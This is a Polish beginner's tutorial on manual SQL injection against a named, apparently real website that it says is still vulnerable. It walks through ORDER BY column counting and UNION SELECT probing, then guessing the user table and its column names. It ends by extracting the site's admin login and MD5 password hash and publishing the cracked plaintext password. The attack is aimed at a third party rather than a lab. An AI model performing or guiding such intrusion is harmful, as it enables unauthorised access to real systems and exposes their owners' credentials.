Powiecie pewnie że tutoriali tego typu jest w necie tysiące. Macie racje,
jednak wszystkie podają suche przykłady a ja pokaże wam, dzięki uprzejmości JanuszChrystus,
działanie na konkretnej istniejącej stronie na co w innych tutorialach nie można liczyć.
Tutorial jest przeznaczony dla najbardziej początkujących. Pozwala przejść całą ścieżkę SQLi i
poćwiczyć różne kombinacje. Ma na celu poznanie podstaw działania rozpocząć zbieranie wiedzy
by uniknąć w przyszłości pytań "kliknąłem w mój H@x0r tool SQLi i nie działa..."
SQL Injection (dosłownie wstrzykiwanie zapytań SQL) to dziura w zabezpieczeniu kodu programu
polegająca na braku całości lub części filtrowania danych przesyłanych w postaci zapytań SQL do
bazy danych. Najczęściej występuje w systemach składających się ze skryptu/programu
(przykładowo PHP) generującego zapytanie do bazy danych (MySQL, PostgreSQL itp.) na
podstawie podanych przez użytkownika danych. Podobno luka SQLi to brak wiedzy i
doświadczenia autora danego kodu.
Dziś weźmiemy na warsztat nic nie znaczącą stronkę
http://szykielegancja.hord.pl/
która to stronka ma jedną zaletę - wciąż ma lukę i pewnie będzie ją miała długo co pozwoli nam
potrenować działanie SQLi w praktyce.
Wszystkie poniższe działania robimy ręcznie w celach edukacyjnych pamiętając o zabezpieczeniu
własnych 4 liter.
1. Szukamy podatnego elementu.
Spokojnie klikamy sobie na stronie - nie jest ogromnie rozbudowana i patrzymy co pokazuje się
pod postacią linków oraz w adresie.
Interesują nas na początek opcje gdzie kod strony wysyła zapytania parametryczne do bazy SQL.
Np.
http://szykielegancja.hord.pl/index.php?costam=parametr
http://szykielegancja.hord.pl/index.php?id=404
Widoczna część strony generowana jest na podstawie informacji zawartych w bazie SQL. Skrypt
wyświetla nam zawartość wg jednego kryterium - parametru id o wartości w tym wypadku 404.
Zmieniając parametr na kolejne wartości zauważyć możemy iż zmieniając go na np 405 otrzymamy
kolejną podstronę:
http://szykielegancja.hord.pl/index.php?id=405
Teraz sprawdzamy podatność - czy autor strony wykonał należycie filtrowanie wartości przed
przekazaniem jej do zapytania SQL.
Zamiast 405 wpiszemy sobie coś innego np. -9999 lub ' lub " lub 5804395840 i patrzymy co się
stanie.
http://szykielegancja.hord.pl/index.php?id=-9999
i od razu posypały się błędy:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 27
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result
resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 28
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 33
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result
resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 34
Najwyraźniej nasz programista nie był zbyt staranny lub po prostu dopiero się uczy.
Sprawdźmy teraz ile tabel liczy sobie nasza baza. W tym celu posłużymy się komendą order by
podając prawidłową wartość id (np. 405).
Można zamienię używać union ale order by ma ta zaletę że dopiero wystąpienie błędu wskaże nam
ilość tabel.
http://szykielegancja.hord.pl/index.php … der+by+2--
strona wczytała się jak gdyby nigdy nic, więc spokojnie zwiększamy parametr.
http://szykielegancja.hord.pl/index.php … der+by+3--
dalej nic, więc kolejno 4,5,6,7,.... i nagle przy wartości 16 mamy znów nasz błąd:
http://szykielegancja.hord.pl/index.php … er+by+16--
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 13
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 27
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result
resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 28
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 33
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result
resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 34
Wystąpienie błędu przy wartości 16 wskazuje nam iż w bazie jest 15 tabel.
Teraz musimy odnaleźć kolumnę do której będziemy wprowadzać nasze "zastrzyki".
Zrobimy to za pomocą komendy union select.
Jako parametr id podajemy dowolną wartość błędną np. użyte poprzednio -9999.
http://szykielegancja.hord.pl/index.php … 13,14,15--
Strona oprócz stałej treści zamiast oczekiwanego obrazka czy błędu zwróciła nam numery
podatnych kolumn: 3 i 8.
Zobaczmy teraz z jaką bazą mamy do czynienia. W tym celu zamiast "3" wpiszemy sobie komendę
Version()
http://szykielegancja.hord.pl/index.php … 13,14,15--
Strona oświadcza nam iż wersja bazy to 5.1.59. To dobra wiadomość bo począwszy od wersji 5 nie
trzeba zgadywać nazw komun i tablic.
Ale ponieważ tu chodzi o ćwiczenie pójdziemy starą, trudniejszą drogą działającą też w starszych
wersjach baz - zgadujemy.
Musimy odnaleźć nazwę tablicy gdzie trzymane są interesujące nas dane - login i hasło admina.
Najczęściej występujące nazwy to Users, User, Uzytkownik, Accounts
Sprawdźmy po kolei najpierw users:
http://szykielegancja.hord.pl/index.php … %20users--
wywala błąd, następnie user
http://szykielegancja.hord.pl/index.php … m%20user--
wyskoczyły znajome cyferki 3 i 8. Oznacza to że zapytanie wykonało się bez błędu - istnieje tablica
user.
Teraz czas poszukać nazw kolumn w tablicy. W zasadzie interesują nas tylko 2 - użytkownik i
hasło.
Mogą nazywać się: username, name, user, login, id itp. zaś te od hasła: password, pass, hasło, secret
itp.
Sprawdźmy najpierw jak nazywa się kolumna zawierająca username admina, w tym celu zamiast 3
wpiszemy sobie oczekiwaną nazwę, zacznijmy od username:
http://szykielegancja.hord.pl/index.php … m%20user--
niestety bład, teraz name
http://szykielegancja.hord.pl/index.php … m%20user--
tak samo, kolejno błąd przy user, ale przy login:
http://szykielegancja.hord.pl/index.php … m%20user--
strona zwróciła nam "szyk"
wiemy już że dane admina są w tablicy user, username jest w kolumnie login i nazywa się "szyk"
brakuje nam tylko hasła.
Poszukajmy więc kolumny z hasłem. Zaczynamy od najprostszego password.
http://szykielegancja.hord.pl/index.php … m%20user--
i pudło, teraz pass:
http://szykielegancja.hord.pl/index.php … m%20user--
i jest: 0cd954ec409815c10b16815a3d189d3f
Hasło zabezpieczone jest md5, musimy je teraz tylko złamać.
W tym celu najpierw wrzucamy je w pierwszy z brzegu dekoder online:
http://md5.my-addr.com/md5_decrypt-md5_ … r_tool.php
I tym razem mamy szczęście bo hasło wyskakuje od razu: elegantka
Cel osiągnięty - dysponujemy już nazwą i hasłem admina cms.
TuT z PBM by c0untzero
Email:tonypl@riseup.net